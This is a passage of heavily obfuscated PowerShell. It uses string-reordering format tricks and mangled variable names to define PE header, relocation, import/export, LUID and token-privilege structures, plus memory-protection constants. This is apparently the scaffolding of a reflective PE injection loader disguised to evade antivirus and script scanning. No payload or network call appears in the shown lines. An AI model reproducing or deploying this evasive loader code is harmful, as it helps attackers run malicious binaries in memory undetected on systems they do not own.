  262.         ${tY`PEbUIl`DEr}.("{3}{0}{1}{2}" -f 'ineF','ie','ld','Def').Invoke(("{0}{1}{2}"-f'Signat','u','re'), [UInt32], ("{0}{1}" -f 'Pu','blic')) | &("{0}{1}{2}"-f 'Out-Nu','l','l')
  263.         ${TYPebu`i`LD`Er}.("{0}{1}{3}{2}"-f'Def','i','eld','neFi').Invoke(("{2}{3}{1}{0}" -f'eader','eH','Fi','l'), ${iMAgE`_fiL`E_he`A`DEr}, ("{1}{0}" -f'ublic','P')) | &("{2}{1}{0}"-f 'll','t-Nu','Ou')
  264.         ${Ty`Pe`Bui`LDEr}.("{3}{1}{2}{0}"-f'd','neFie','l','Defi').Invoke(("{1}{0}{2}"-f'alHea','Option','der'), ${imAGe_oPt`i`OnAL_`h`EAD`e`R32}, ("{1}{0}" -f'ublic','P')) | &("{2}{0}{1}" -f 't-Nul','l','Ou')
  265.         ${Im`AGe_N`T_`HEade`Rs32} = ${tyP`EBu`ild`er}.("{1}{2}{0}" -f 'eateType','C','r').Invoke()
  266.         ${wIn3`2`Types} | &("{1}{0}{2}"-f 'd-Mem','Ad','ber') -MemberType ("{3}{2}{1}{0}"-f 'y','rt','otePrope','N') -Name ("{0}{3}{1}{2}" -f'IMAG','ADERS','32','E_NT_HE') -Value ${IMa`ge_N`T`_HEADers`32}
  267.  
  268.  
  269.         ${A`TTRi`BuTeS} = ("{18}{3}{9}{16}{17}{21}{1}{12}{14}{8}{15}{13}{19}{7}{10}{5}{4}{11}{2}{22}{6}{0}{20}"-f'dI','as','out,','o','lLa','ia','BeforeFiel','en','blic,','Layout,','t','y','s, Class,','e',' Pu',' S',' ','A','Aut','qu','nit','nsiCl',' Sealed, ')
  270.         ${tYpe`Bu`ilder} = ${MOD`UlEBuil`dER}.("{0}{1}{2}" -f 'D','ef','ineType').Invoke(("{0}{2}{1}{4}{3}" -f 'IMA','_H','GE_DOS','ADER','E'), ${ATT`R`i`ButEs}, [System.ValueType], 64)
  271.         ${TYpE`Bui`lD`er}.("{2}{0}{1}" -f 'e','ld','DefineFi').Invoke(("{1}{0}"-f 'magic','e_'), [UInt16], ("{2}{1}{0}" -f'ic','bl','Pu')) | &("{1}{2}{0}" -f'll','Out-','Nu')
  272.         ${Type`BU`ILD`er}.("{2}{3}{0}{1}" -f'neFiel','d','Def','i').Invoke(("{0}{1}{2}" -f 'e_cb','l','p'), [UInt16], ("{1}{0}"-f'ublic','P')) | &("{1}{2}{0}"-f 'ull','Out','-N')
  273.         ${TYpEbu`iL`DEr}.("{1}{3}{2}{0}"-f 'ield','D','ineF','ef').Invoke(("{0}{1}"-f'e_c','p'), [UInt16], ("{0}{1}{2}" -f'Pu','bl','ic')) | &("{2}{0}{1}"-f '-','Null','Out')
  274.         ${TY`PEB`U`iLdER}.("{2}{1}{0}" -f'fineField','e','D').Invoke(("{1}{2}{0}"-f'c','e_','crl'), [UInt16], ("{0}{1}"-f'Pu','blic')) | &("{2}{0}{1}" -f 'ul','l','Out-N')
  275.         ${TyPEBu`iLd`Er}.("{2}{1}{0}{3}"-f 'el','i','DefineF','d').Invoke(("{2}{0}{3}{1}"-f'_','dr','e','cparh'), [UInt16], ("{1}{0}"-f 'lic','Pub')) | &("{2}{1}{0}" -f 't-Null','u','O')
  276.         ${TYpEB`U`iL`DeR}.("{0}{1}{2}{3}" -f 'De','fi','n','eField').Invoke(("{2}{0}{1}" -f'inal','loc','e_m'), [UInt16], ("{1}{0}{2}" -f'li','Pub','c')) | &("{1}{0}{2}"-f 'u','Out-N','ll')
  277.         ${ty`peb`Uil`dER}.("{2}{0}{1}"-f'ef','ineField','D').Invoke(("{0}{2}{1}{3}"-f'e_','o','maxall','c'), [UInt16], ("{0}{1}"-f'Pub','lic')) | &("{2}{0}{1}"-f 'u','ll','Out-N')
  278.         ${typ`E`BUilD`ER}.("{2}{0}{1}" -f'Fiel','d','Define').Invoke(("{0}{1}" -f 'e_s','s'), [UInt16], ("{0}{1}"-f 'Pub','lic')) | &("{0}{1}{2}" -f 'O','ut','-Null')
  279.         ${T`y`Pe`BuiLDer}.("{2}{3}{1}{0}" -f'ld','ie','Defi','neF').Invoke(("{0}{1}"-f'e','_sp'), [UInt16], ("{0}{2}{1}"-f'P','ic','ubl')) | &("{0}{2}{1}"-f 'O','-Null','ut')
  280.         ${TY`PEBuI`LdEr}.("{3}{2}{0}{1}"-f'eFie','ld','n','Defi').Invoke(("{0}{1}"-f'e_cs','um'), [UInt16], ("{0}{1}" -f'Publi','c')) | &("{0}{2}{1}" -f'O','ull','ut-N')
  281.         ${typEBui`Ld`Er}.("{1}{2}{0}" -f 'd','Def','ineFiel').Invoke(("{0}{1}" -f'e','_ip'), [UInt16], ("{1}{0}{2}" -f 'u','P','blic')) | &("{0}{2}{1}" -f'Ou','-Null','t')
  282.         ${tY`PE`Bu`ILder}.("{1}{0}{2}" -f 'i','Def','neField').Invoke(("{0}{1}" -f'e_','cs'), [UInt16], ("{0}{1}" -f'Publi','c')) | &("{1}{0}{2}" -f't','Ou','-Null')
  283.         ${T`YPEB`UIldeR}.("{2}{0}{1}"-f 'el','d','DefineFi').Invoke(("{0}{2}{1}"-f'e_lf','c','arl'), [UInt16], ("{0}{2}{1}"-f'P','blic','u')) | &("{1}{2}{0}"-f'ull','Out-','N')
  284.         ${tyP`EB`U`iLdEr}.("{2}{1}{0}"-f'ld','Fie','Define').Invoke(("{0}{1}" -f'e_o','vno'), [UInt16], ("{1}{0}"-f 'lic','Pub')) | &("{0}{2}{1}"-f'Out','Null','-')
  285.  
  286.         ${e`_Re`sFIElD} = ${tYP`EB`UI`LDER}.("{3}{0}{2}{1}"-f 'e','eField','fin','D').Invoke(("{1}{0}"-f'_res','e'), [UInt16[]], ("{3}{4}{0}{5}{1}{2}" -f 'iel','rsha','l','Public',', HasF','dMa'))
  287.         ${ConS`TR`UcT`ORv`A`Lue} =  $Cf84::"bY`V`AlarRAY"
  288.         ${F`i`eLdaR`RAY} = @(  $i7kuHX.("{0}{2}{1}"-f 'GetF','ld','ie').Invoke(("{0}{2}{1}"-f 'SizeCo','t','ns')))
  289.         ${aT`TrIbbuI`l`Der} = &("{2}{3}{0}{1}"-f 'j','ect','New','-Ob') ("{1}{8}{5}{0}{12}{6}{4}{2}{3}{13}{9}{10}{11}{7}" -f'Reflectio','Sys','omA','ttr','it.Cust','em.','.Em','r','t','but','eBui','lde','n','i')(${Con`St`RuC`T`OR`inFo}, ${CO`NS`TRuCt`O`RvalUE}, ${fieLD`AR`R`Ay}, @([Int32] 4))
  290.         ${e`_`RE`SFIelD}.("{0}{3}{1}{2}" -f 'SetCust','but','e','omAttri').Invoke(${A`T`TRibBu`iLder})
  291.  
  292.         ${typ`ebU`ild`eR}.("{1}{2}{0}" -f'ield','Def','ineF').Invoke(("{1}{2}{0}" -f 'oemid','e','_'), [UInt16], ("{2}{0}{1}" -f'ubli','c','P')) | &("{0}{2}{1}"-f'Out-','ull','N')
  293.         ${tYPe`BU`i`LDER}.("{1}{2}{0}"-f 'ld','Defi','neFie').Invoke(("{0}{1}" -f 'e_oem','info'), [UInt16], ("{0}{1}" -f 'Publ','ic')) | &("{2}{1}{0}" -f'll','-Nu','Out')
  294.  
  295.         ${e_r`eS2fI`E`lD} = ${TyPe`BUI`l`dER}.("{0}{1}{2}" -f'DefineFie','l','d').Invoke(("{1}{0}{2}" -f 'e','e_r','s2'), [UInt16[]], ("{0}{1}{2}{4}{3}"-f'Publi','c',', HasFieldMar','l','sha'))
  296.         ${c`onstr`UctORv`ALUE} =  (  &("{1}{2}{0}{3}"-f 'IAB','geT','-VAR','le') CF84).vAlUe::"BYvA`La`R`RaY"
  297.         ${attRiBb`UI`l`DeR} = &("{1}{0}{3}{2}"-f 'w-O','Ne','t','bjec') ("{5}{0}{2}{7}{1}{3}{4}{6}"-f 'fl','Emit.Cu','ect','sto','mAttributeBui','System.Re','lder','ion.')(${COnstRUCTO`Rin`FO}, ${cON`s`TRuC`To`RVAlue}, ${fIe`Ldar`R`Ay}, @([Int32] 10))
  298.         ${e`_reS2`FielD}.("{4}{1}{0}{3}{2}"-f 'mAttr','usto','e','ibut','SetC').Invoke(${At`Tri`Bbu`ILDeR})
  299.  
  300.         ${t`y`pEBuiLD`er}.("{1}{2}{0}" -f 'd','Define','Fiel').Invoke(("{2}{0}{1}" -f '_lfane','w','e'), [Int32], ("{1}{0}"-f 'ublic','P')) | &("{0}{1}" -f'Out','-Null')
  301.         ${iMa`Ge_D`os_`HE`ADeR} = ${tyP`E`BUI`LdER}.("{2}{3}{0}{1}"-f'Typ','e','C','reate').Invoke()
  302.         ${wIn`32`TYPEs} | &("{2}{1}{0}"-f'ber','em','Add-M') -MemberType ("{3}{2}{0}{1}"-f 'e','rty','op','NotePr') -Name ("{1}{4}{3}{0}{2}"-f'_','IM','HEADER','_DOS','AGE') -Value ${IM`A`G`E_DOS_heA`deR}
  303.  
  304.  
  305.         ${aT`TrIB`UTes} = ("{17}{1}{6}{10}{14}{3}{22}{5}{21}{11}{20}{13}{9}{16}{18}{8}{15}{19}{4}{2}{12}{0}{7}" -f'FieldI','utoLayout, A','f','s','e',' Publ','ns','nit',' S','a','iCl','c, ','ore','quentialL','ass, Cla','ealed','you','A','t,',', B','Se','i','s,')
  306.         ${t`YPeBU`I`LDER} = ${M`o`Dul`EBuiLDeR}.("{3}{2}{1}{0}"-f'e','p','y','DefineT').Invoke(("{0}{1}{5}{3}{2}{4}" -f'IMAGE','_SECT','E','N_H','ADER','IO'), ${A`TtrIB`UtEs}, [System.ValueType], 40)
  307.  
  308.         ${Na`MeF`I`Eld} = ${TyP`e`Bui`LDER}.("{2}{3}{0}{1}"-f 'neFi','eld','De','fi').Invoke(("{0}{1}"-f'Na','me'), [Char[]], ("{5}{2}{4}{0}{1}{3}"-f 'Fie','l','u','dMarshal','blic, Has','P'))
  309.         ${CoNs`Tr`Uc`ToRvalue} =  (  &('LS')  ("V"+"aRi"+"Ab"+"LE:CF84")  ).VALUe::"b`yValaR`RAy"
  310.         ${AtTR`I`B`B`UiLDEr} = &("{1}{0}{2}"-f 'ew-O','N','bject') ("{3}{6}{7}{2}{4}{0}{8}{5}{1}"-f 'Attri','lder','mit.Cus','System.Re','tom','teBui','f','lection.E','bu')(${cOn`StR`Uc`TORinfo}, ${Co`Ns`TRuC`TOR`Value}, ${Fi`ELdARR`AY}, @([Int32] 8))
  311.         ${n`AmEFie`ld}.("{1}{4}{0}{3}{2}" -f'tomAt','SetC','ribute','t','us').Invoke(${AtTR`iBbUi`Ld`Er})
  312.  
  313.         ${t`Y`PEbUiL`deR}.("{2}{3}{1}{0}" -f 'd','l','Defi','neFie').Invoke(("{2}{0}{1}" -f 'alSiz','e','Virtu'), [UInt32], ("{0}{1}"-f 'Publi','c')) | &("{1}{0}" -f 'ull','Out-N')
  314.         ${tyPebUI`l`D`eR}.("{2}{0}{3}{1}"-f'neF','ld','Defi','ie').Invoke(("{0}{1}{3}{2}{4}"-f'V','i','r','rtualAdd','ess'), [UInt32], ("{0}{1}" -f'Publi','c')) | &("{0}{1}{2}"-f'Ou','t-','Null')
  315.         ${TyP`EBuIld`ER}.("{1}{0}{2}"-f 'efine','D','Field').Invoke(("{1}{3}{0}{2}"-f 'RawD','Si','ata','zeOf'), [UInt32], ("{1}{0}"-f 'lic','Pub')) | &("{2}{1}{0}"-f 'll','-Nu','Out')
  316.         ${T`ypEBuIl`deR}.("{3}{1}{2}{0}"-f'd','Fie','l','Define').Invoke(("{1}{3}{2}{0}{4}"-f 'Ra','Point','o','erT','wData'), [UInt32], ("{0}{1}"-f'P','ublic')) | &("{1}{0}{2}" -f'Nu','Out-','ll')
  317.         ${tY`PEbuIl`Der}.("{2}{0}{1}"-f 'efin','eField','D').Invoke(("{5}{2}{1}{0}{3}{4}" -f 'cati','o','el','on','s','PointerToR'), [UInt32], ("{0}{2}{1}" -f 'Pu','c','bli')) | &("{0}{1}" -f'Ou','t-Null')
  318.         ${tY`peB`UiLder}.("{2}{0}{3}{1}"-f'ineF','ld','Def','ie').Invoke(("{0}{4}{5}{3}{2}{1}"-f 'Po','bers','um','en','inter','ToLin'), [UInt32], ("{0}{1}" -f'Publ','ic')) | &("{2}{0}{1}" -f'ut-','Null','O')
  319.         ${TYPe`B`Uil`dER}.("{1}{0}{2}{3}"-f'e','Defin','Fie','ld').Invoke(("{0}{2}{1}{3}" -f 'Numb','rOf','e','Relocations'), [UInt16], ("{1}{0}{2}"-f'l','Pub','ic')) | &("{0}{1}{2}"-f'O','ut-N','ull')
  320.         ${tyPe`Bui`ldEr}.("{3}{2}{1}{0}" -f 'eld','eFi','efin','D').Invoke(("{4}{3}{2}{1}{0}"-f 'rs','e','fLinenumb','O','Number'), [UInt16], ("{0}{1}"-f'Pub','lic')) | &("{0}{2}{1}"-f 'Out','ull','-N')
  321.         ${typ`ebUi`L`DeR}.("{1}{2}{0}"-f'eld','Defi','neFi').Invoke(("{3}{2}{0}{4}{1}" -f 'e','stics','act','Char','ri'), [UInt32], ("{0}{1}"-f 'Publi','c')) | &("{0}{2}{1}"-f'O','-Null','ut')
  322.         ${i`MAG`E_S`Ec`TIO`N_HeaDEr} = ${t`YP`e`BUilDeR}.("{2}{1}{0}"-f 'teType','a','Cre').Invoke()
  323.         ${wi`N32TY`PeS} | &("{0}{2}{1}"-f 'Ad','ber','d-Mem') -MemberType ("{0}{3}{2}{1}" -f'No','ty','per','tePro') -Name ("{0}{1}{3}{2}"-f'IMAGE_SE','CTI','ADER','ON_HE') -Value ${Im`AGe`_S`ecT`iOn_`HeadeR}
  324.  
  325.  
  326.         ${A`T`TribUtes} = ("{8}{12}{15}{2}{4}{1}{11}{6}{5}{0}{3}{14}{7}{16}{9}{13}{10}"-f' Public','lass, Cl','out',', Sequen',', AnsiC','s,','s','lLa','Au',', Sealed, BeforeFie','dInit','a','to','l','tia','Lay','yout')
  327.         ${typEbuI`l`D`er} = ${M`OdulEBu`i`ld`Er}.("{1}{0}{2}" -f 'fine','De','Type').Invoke(("{0}{1}{3}{5}{2}{4}" -f 'IMAGE','_','RELOCATI','BASE','ON','_'), ${at`Tri`BUTes}, [System.ValueType], 8)
  328.         ${T`yPEBui`LD`Er}.("{1}{2}{0}" -f'ld','DefineFi','e').Invoke(("{0}{1}{2}"-f 'Vir','tualA','ddress'), [UInt32], ("{2}{1}{0}" -f 'c','bli','Pu')) | &("{1}{2}{0}"-f 'l','Out-Nu','l')
  329.         ${t`y`p`eBUIlDER}.("{1}{2}{0}"-f'eld','Define','Fi').Invoke(("{0}{1}{2}"-f'Si','ze','OfBlock'), [UInt32], ("{0}{1}{2}" -f 'Publ','i','c')) | &("{2}{1}{0}" -f 'l','Nul','Out-')
  330.         ${IM`A`GE_BAsE_R`e`L`Ocation} = ${tY`PeB`UILDER}.("{3}{1}{0}{2}" -f 'ate','e','Type','Cr').Invoke()
  331.         ${W`iN`3`2TyPEs} | &("{1}{2}{0}"-f 'er','Add-','Memb') -MemberType ("{2}{3}{1}{0}" -f'y','ert','Not','eProp') -Name ("{3}{1}{0}{2}{4}"-f '_','MAGE','BASE_R','I','ELOCATION') -Value ${i`MAge_Base`_rEL`O`CATioN}
  332.  
  333.  
  334.         ${At`TRIBu`TEs} = ("{6}{12}{9}{17}{2}{5}{0}{14}{8}{3}{1}{18}{15}{10}{13}{16}{7}{11}{4}" -f'lass, Class, ','quen','yo','Se','eldInit','ut, AnsiC','A','Befo','lic, ','to','ut,','reFi','u',' Seal','Pub','yo','ed, ','La','tialLa')
  335.         ${typEB`U`ilDEr} = ${MoDule`Bu`iL`der}.("{0}{1}{2}"-f'Def','ineTyp','e').Invoke(("{1}{2}{4}{0}{3}"-f 'MPORT_D','IM','AGE_','ESCRIPTOR','I'), ${A`TTr`I`Butes}, [System.ValueType], 20)
  336.         ${typeBui`L`D`ER}.("{2}{0}{3}{1}"-f'fi','d','De','neFiel').Invoke(("{0}{3}{2}{1}"-f'Chara','tics','teris','c'), [UInt32], ("{0}{1}"-f 'Pub','lic')) | &("{0}{1}{2}"-f'Out-','Nul','l')
  337.         ${type`BuIL`dEr}.("{3}{1}{0}{2}"-f'ie','neF','ld','Defi').Invoke(("{2}{1}{3}{4}{0}"-f 'amp','me','Ti','D','ateSt'), [UInt32], ("{1}{0}"-f 'ublic','P')) | &("{0}{1}"-f'Out-Nu','ll')
  338.         ${tY`pEBU`I`LDer}.("{3}{2}{0}{1}"-f 'l','d','eFie','Defin').Invoke(("{4}{2}{3}{1}{0}"-f'ain','h','rwa','rderC','Fo'), [UInt32], ("{2}{1}{0}" -f'lic','ub','P')) | &("{0}{1}" -f 'Out-','Null')
  339.         ${tYpe`Bui`l`DEr}.("{0}{3}{2}{1}" -f'DefineF','ld','e','i').Invoke(("{0}{1}"-f 'Nam','e'), [UInt32], ("{1}{0}"-f 'ic','Publ')) | &("{0}{2}{1}"-f'Out-','l','Nul')
  340.         ${T`YPe`BUIlD`Er}.("{0}{1}{2}"-f 'DefineF','ie','ld').Invoke(("{0}{2}{3}{1}" -f 'Fir','k','st','Thun'), [UInt32], ("{0}{1}"-f 'Publ','ic')) | &("{0}{1}{2}" -f 'Ou','t-Nul','l')
  341.         ${imAG`e_I`mPOR`T_D`e`scRi`p`TOR} = ${TyPeB`UI`lD`eR}.("{1}{0}{2}"-f 'reateT','C','ype').Invoke()
  342.         ${w`I`N32Typ`es} | &("{3}{1}{0}{2}"-f'be','m','r','Add-Me') -MemberType ("{0}{3}{2}{1}" -f'No','perty','Pro','te') -Name ("{6}{3}{0}{2}{1}{5}{4}"-f 'IMPOR','_DES','T','E_','TOR','CRIP','IMAG') -Value ${i`MagE_`ImP`Or`T_d`esCRIptoR}
  343.  
  344.  
  345.         ${a`T`TRIb`UTeS} = ("{10}{0}{8}{12}{7}{9}{11}{2}{5}{1}{4}{3}{6}" -f'utoLayout, A','ialLayo',', Se',', Bef','ut, Sealed','quent','oreFieldInit',' ','nsiClass, Cla','P','A','ublic','ss,')
  346.         ${TyPEB`UIL`d`ER} = ${mOd`UL`E`BUIldEr}.("{1}{2}{0}"-f'ineType','D','ef').Invoke(("{0}{3}{5}{2}{4}{1}"-f 'IMAGE_','TORY','E','EXPORT_D','C','IR'), ${a`Tt`RiButeS}, [System.ValueType], 40)
  347.         ${t`ypEBuI`LD`ER}.("{1}{0}{2}" -f 'eFi','Defin','eld').Invoke(("{0}{2}{3}{4}{1}"-f'C','cs','haracter','ist','i'), [UInt32], ("{0}{1}" -f 'Pub','lic')) | &("{0}{1}"-f 'O','ut-Null')
  348.         ${T`yPEbui`Ld`Er}.("{1}{0}{3}{2}"-f 'ne','Defi','eld','Fi').Invoke(("{1}{2}{3}{0}"-f 'Stamp','T','imeDa','te'), [UInt32], ("{0}{1}{2}" -f 'Pu','bl','ic')) | &("{1}{0}{2}" -f '-Nul','Out','l')
  349.         ${Ty`PEBu`iLDeR}.("{2}{1}{0}" -f'd','ineFiel','Def').Invoke(("{0}{1}{2}"-f'MajorVers','io','n'), [UInt16], ("{0}{1}{2}"-f'Pub','l','ic')) | &("{1}{0}"-f 'll','Out-Nu')
  350.         ${typ`EbUI`ldeR}.("{0}{2}{1}" -f'DefineFi','d','el').Invoke(("{3}{1}{2}{0}" -f 'rsion','o','rVe','Min'), [UInt16], ("{0}{1}"-f'Pu','blic')) | &("{0}{1}{2}" -f 'Ou','t-Nu','ll')
  351.         ${typEBUIL`D`Er}.("{1}{2}{0}" -f 'eld','Defin','eFi').Invoke(("{1}{0}" -f'ame','N'), [UInt32], ("{2}{0}{1}" -f 'bl','ic','Pu')) | &("{2}{1}{0}" -f'l','Nul','Out-')
  352.         ${t`yPE`BUiLD`eR}.("{0}{1}{2}"-f 'Define','Fiel','d').Invoke(("{1}{0}"-f 'e','Bas'), [UInt32], ("{0}{1}{2}"-f'P','ubli','c')) | &("{0}{1}{2}" -f 'O','ut-Nu','ll')
  353.         ${TYPEBU`I`ldEr}.("{2}{1}{0}"-f'd','neFiel','Defi').Invoke(("{0}{1}{2}{3}" -f'N','umberO','fFunc','tions'), [UInt32], ("{1}{0}"-f'ublic','P')) | &("{0}{2}{1}"-f 'Out','Null','-')
  354.         ${TYpeb`U`ilD`er}.("{3}{0}{2}{1}" -f'efineFi','ld','e','D').Invoke(("{2}{1}{0}{3}" -f 'me','a','NumberOfN','s'), [UInt32], ("{0}{1}"-f'P','ublic')) | &("{0}{1}"-f'Ou','t-Null')
  355.         ${T`YPE`BUil`DEr}.("{2}{0}{1}"-f'i','eld','DefineF').Invoke(("{0}{1}{2}{3}" -f'Address','OfFun','cti','ons'), [UInt32], ("{1}{0}"-f'c','Publi')) | &("{2}{0}{1}"-f 't-','Null','Ou')
  356.         ${tYP`E`BUIldeR}.("{1}{2}{0}"-f 'Field','D','efine').Invoke(("{2}{1}{0}{4}{3}" -f 'f','essO','Addr','s','Name'), [UInt32], ("{2}{0}{1}" -f 'bl','ic','Pu')) | &("{1}{0}"-f't-Null','Ou')
  357.         ${TypEbUil`d`Er}.("{2}{0}{1}"-f'fine','Field','De').Invoke(("{5}{2}{4}{1}{3}{0}"-f'ameOrdinals','Of','d','N','dress','A'), [UInt32], ("{1}{0}"-f 'lic','Pub')) | &("{0}{2}{1}" -f'Ou','ull','t-N')
  358.         ${im`Ag`E`_expOr`T_d`IrecTo`Ry} = ${T`yP`ebuiLD`er}.("{1}{2}{0}" -f 'ype','Cr','eateT').Invoke()
  359.         ${Wi`N32`Typ`es} | &("{1}{0}{2}"-f 'M','Add-','ember') -MemberType ("{2}{3}{1}{0}" -f'erty','eProp','N','ot') -Name ("{4}{3}{2}{0}{1}"-f 'T_D','IRECTORY','OR','MAGE_EXP','I') -Value ${I`mAgE_`eXp`Or`T_d`IrECt`ORY}
  360.  
  361.  
  362.         ${ATtrI`BU`TeS} = ("{6}{4}{17}{16}{1}{7}{11}{2}{21}{3}{5}{14}{9}{10}{15}{12}{20}{19}{0}{8}{18}{13}" -f 'reField',', AnsiCla','bl','c','u',', S','A','ss','I','t','ial',', Class, Pu','yout, Seale','t','equen','La','ayout','toL','ni','Befo','d, ','i')
  363.         ${Typeb`Ui`Ld`Er} = ${m`o`DUleBuI`Ld`eR}.("{0}{2}{3}{1}" -f 'Defi','e','neT','yp').Invoke(("{1}{0}"-f'UID','L'), ${aTTr`IbU`T`eS}, [System.ValueType], 8)
  364.         ${t`YpebuI`LDEr}.("{1}{2}{3}{0}"-f 'eField','D','e','fin').Invoke(("{0}{2}{1}" -f'L','art','owP'), [UInt32], ("{0}{1}"-f 'Pu','blic')) | &("{0}{1}" -f'Out-Nul','l')
  365.         ${t`ypeb`UIld`eR}.("{1}{2}{0}"-f'ld','D','efineFie').Invoke(("{2}{0}{1}"-f'ar','t','HighP'), [UInt32], ("{1}{0}" -f'c','Publi')) | &("{0}{1}"-f 'Ou','t-Null')
  366.         ${lU`id} = ${TYPebU`i`LDeR}.("{0}{2}{3}{1}"-f'Cre','e','a','teTyp').Invoke()
  367.         ${w`IN32`TyPeS} | &("{3}{1}{2}{0}" -f'r','d-Memb','e','Ad') -MemberType ("{0}{2}{3}{1}" -f 'No','y','teProp','ert') -Name ("{1}{0}" -f 'D','LUI') -Value ${lU`ID}
  368.  
  369.  
  370.         ${AttRIBU`T`eS} = ("{16}{14}{1}{7}{19}{0}{5}{4}{18}{10}{3}{9}{2}{21}{11}{20}{12}{13}{17}{15}{6}{8}" -f ' Se','t, Ans','t, Sealed,','y','u','q','ldIn','iCl','it','ou','alLa','B','or','eF','oLayou','e','Aut','i','enti','ass, Class, Public,','ef',' ')
  371.         ${T`YP`eB`UiLder} = ${Mo`D`UlEBu`iL`DER}.("{2}{1}{0}"-f'neType','i','Def').Invoke(("{1}{2}{3}{4}{0}{5}" -f 'BU','L','UID','_A','ND_ATTRI','TES'), ${aTTRI`B`UTes}, [System.ValueType], 12)
  372.         ${TyPE`Bu`ild`eR}.("{3}{0}{1}{2}" -f'neF','ie','ld','Defi').Invoke(("{0}{1}"-f'L','uid'), ${L`UId}, ("{1}{0}" -f'ublic','P')) | &("{1}{0}{2}" -f 'Nu','Out-','ll')
  373.         ${TyPe`BuIl`D`er}.("{2}{0}{1}" -f'e','Field','Defin').Invoke(("{1}{2}{0}" -f 's','Attribu','te'), [UInt32], ("{0}{1}"-f'Publi','c')) | &("{0}{2}{1}"-f 'Out-N','ll','u')
  374.         ${luid_anD`_`AttRiB`UteS} = ${t`yPebu`I`LDER}.("{1}{0}{2}"-f'teT','Crea','ype').Invoke()
  375.         ${wIN`32`Typ`es} | &("{0}{2}{1}" -f'Add','r','-Membe') -MemberType ("{2}{0}{1}"-f'oteP','roperty','N') -Name ("{3}{4}{5}{0}{2}{1}" -f 'UT','S','E','LUID_AND_','ATTR','IB') -Value ${lUID`_AN`D_at`TR`I`BUT`ES}
  376.  
  377.  
  378.         ${a`TTR`iBut`eS} = ("{8}{7}{9}{1}{12}{10}{6}{2}{5}{0}{4}{3}{14}{11}{13}" -f'yout, ','ss, Clas','a','led, Bef','Sea','lLa','Sequenti','Layout, A','Auto','nsiCla',', ','reF','s, Public','ieldInit','o')
  379.         ${typE`BUiL`Der} = ${M`oduLe`Bui`LdEr}.("{0}{1}{2}" -f'Defi','neTyp','e').Invoke(("{2}{0}{3}{1}"-f'IL','S','TOKEN_PRIV','EGE'), ${att`R`iBuTEs}, [System.ValueType], 16)
  380.         ${TyPeBUI`l`d`ER}.("{3}{0}{1}{2}"-f'fi','neFi','eld','De').Invoke(("{1}{4}{2}{3}{0}" -f 't','Priv','eCo','un','ileg'), [UInt32], ("{0}{1}"-f'Publ','ic')) | &("{1}{2}{0}" -f 'll','Out-','Nu')
  381.         ${TyPebUi`Ld`ER}.("{1}{2}{0}"-f'd','D','efineFiel').Invoke(("{2}{0}{1}"-f'l','eges','Privi'), ${lUId_An`D_Attrib`Ut`es}, ("{1}{0}"-f 'c','Publi')) | &("{2}{1}{0}" -f 'l','ul','Out-N')
  382.         ${T`oKE`N_p`RIV`ILeGES} = ${TYp`ebu`ILDER}.("{3}{1}{0}{2}" -f'eTy','eat','pe','Cr').Invoke()
  383.         ${wi`N32Typ`eS} | &("{0}{3}{1}{2}"-f'Add','Mem','ber','-') -MemberType ("{2}{0}{1}{3}"-f 'rope','r','NoteP','ty') -Name ("{2}{4}{1}{3}{0}"-f 'EGES','V','T','IL','OKEN_PRI') -Value ${TokeN_prI`Vil`eG`ES}
  384.  
  385.         return ${wI`N`3`2typES}
  386.     }
  387.  
  388.     Function gET-w`in3`2cONSta`N`Ts
  389.     {
  390.         ${w`in32`CO`NstANtS} = &("{3}{1}{2}{0}" -f 'ct','Obj','e','New-') ("{1}{4}{2}{0}{3}"-f'Objec','Sy','m.','t','ste')
  391.  
  392.         ${Wi`N32coNS`Tan`Ts} | &("{2}{0}{1}" -f'd','-Member','Ad') -MemberType ("{1}{0}{3}{2}"-f'ote','N','roperty','P') -Name ("{2}{1}{0}"-f'IT','M','MEM_COM') -Value 0x00001000
  393.         ${W`IN3`2C`OnstAnts} | &("{3}{2}{0}{1}" -f'mb','er','e','Add-M') -MemberType ("{1}{2}{0}"-f 'y','N','otePropert') -Name ("{2}{0}{1}" -f 'EM_R','ESERVE','M') -Value 0x00002000
  394.         ${Win`32CONST`ANTs} | &("{2}{1}{0}"-f'r','Membe','Add-') -MemberType ("{3}{0}{1}{2}" -f 'e','r','ty','NoteProp') -Name ("{2}{0}{3}{1}"-f 'NO','ESS','PAGE_','ACC') -Value 0x01
  395.         ${w`in32`co`N`StaNtS} | &("{0}{2}{1}" -f 'Add','mber','-Me') -MemberType ("{1}{3}{2}{0}" -f 'roperty','N','eP','ot') -Name ("{0}{2}{1}{3}" -f'PA','D','GE_REA','ONLY') -Value 0x02
  396.         ${w`I`N32Co`NSta`NTs} | &("{1}{2}{0}" -f'ember','Ad','d-M') -MemberType ("{2}{3}{0}{1}"-f 'ert','y','No','teProp') -Name ("{3}{1}{2}{0}" -f'E','DW','RIT','PAGE_REA') -Value 0x04
  397.         ${wIn32`C`OnsTAn`Ts} | &("{2}{1}{0}" -f 'ber','-Mem','Add') -MemberType ("{0}{3}{2}{1}"-f'NotePr','ty','r','ope') -Name ("{2}{0}{1}" -f 'AG','E_WRITECOPY','P') -Value 0x08
  398.         ${W`i`N`32cONStANts} | &("{0}{2}{3}{1}"-f 'Add-','er','M','emb') -MemberType ("{2}{0}{1}" -f'er','ty','NoteProp') -Name ("{1}{2}{0}" -f'XECUTE','PAG','E_E') -Value 0x10
  399.         ${Win`3`2CoNs`TANts} | &("{1}{2}{0}"-f'ber','Add-Me','m') -MemberType ("{1}{3}{2}{0}"-f'roperty','N','teP','o') -Name ("{3}{1}{4}{2}{0}" -f'EAD','G','XECUTE_R','PA','E_E') -Value 0x20
  400.         ${wIN32CO`Ns`T`ANtS} | &("{2}{1}{0}"-f'mber','Me','Add-') -MemberType ("{0}{1}{3}{2}" -f'No','t','erty','eProp') -Name ("{2}{5}{0}{4}{1}{3}"-f 'UTE_','RIT','PAG','E','READW','E_EXEC') -Value 0x40
  401.         ${WIN32CO`NsT`A`N`Ts} | &("{0}{2}{3}{1}" -f 'Add','mber','-','Me') -MemberType ("{1}{2}{0}"-f 'roperty','Note','P') -Name ("{0}{2}{5}{4}{1}{6}{3}" -f 'PAG','TECO','E','Y','RI','_EXECUTE_W','P') -Value 0x80
  402.         ${Wi`N32con`staN`Ts} | &("{1}{0}{2}" -f'-Memb','Add','er') -MemberType ("{2}{0}{3}{1}"-f 'op','y','NotePr','ert') -Name ("{1}{3}{0}{2}" -f 'OCAC','PAGE_','HE','N') -Value 0x200
